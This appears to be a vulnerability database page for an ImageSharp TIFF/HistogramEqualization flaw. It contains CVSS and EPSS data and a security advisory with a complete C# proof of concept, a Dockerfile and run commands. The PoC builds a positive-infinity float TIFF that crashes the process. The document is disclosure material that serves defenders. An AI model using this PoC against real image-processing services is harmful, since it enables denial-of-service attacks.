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CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
Exact risk observation. Current source statements above are a separate evidence layer. Latest risk evidence.
No KEV entry is attached to this observation; this is not evidence that exploitation is absent.
FIRST EPSS: 0.39 % · percentile 32.89 % · scored 25 Oct 2026.
Observed 25 Oct 2026 15:18:41 UTC · Complete immutable risk JSON
ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, decoding an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applying HistogramEqualization can produce a non-finite or out-of-range luminance in ColorNumerics.GetBT709Luminance. GrayscaleLevelsRowOperation.Invoke uses the resulting value as an unchecked histogram offset, causing an unsafe out-of-range access and process termination. Adaptive Histogram Equalization and AutoLevel are not affected by this report. This issue is fixed in version 4.1.2.
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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, decoding an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applying HistogramEqualization can produce a non-finite or out-of-range luminance in ColorNumerics.GetBT709Luminance. GrayscaleLevelsRowOperation.Invoke uses the resulting value as an unchecked histogram offset, causing an unsafe out-of-range access and process termination. Adaptive Histogram Equalization and AutoLevel are not affected by this report. This issue is fixed in version 4.1.2.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-787
published: 2026-10-06T18:16:52.953
lastModified: 2026-10-24T01:34:56.670
The original JSON retains the logical configuration operators, exclusions and version bounds.
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CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Summary `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release. ### Details [`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram. The reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes `HistogramEqualization()`. Observed result: ```text mode=exploit tiffBytes=166 sample=Infinity decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1> Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ``` The control is identical except samples are `0.5`: ```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel=<0.5, 0.5, 0.5, 1> completed Docker exit status: 0 ``` When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing; static class Program { private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); } // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List<byte> ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float ifd.AddRange([0, 0, 0, 0]); file.AddRange(ifd); for (int i = 0; i < width; i++) { file.AddRange(BitConverter.GetBytes(sample)); } return file.ToArray(); } private static void Main(string[] args) { string mode = args.FirstOrDefault() ?? "exploit"; float sample = mode == "control" ? 0.5F : float.PositiveInfinity; byte[] tiff = BuildTiff(sample); Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}"); using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff); Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}"); image.Mutate(x => x.HistogramEqualization()); Console.Error.WriteLine("completed"); } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY j3p4.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build j3p4.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"] ``` Run: ```sh docker build -t imagesharp-j3p4-poc . docker run --rm imagesharp-j3p4-poc exploit docker run --rm imagesharp-j3p4-poc control ```
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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Publisher rating · HIGH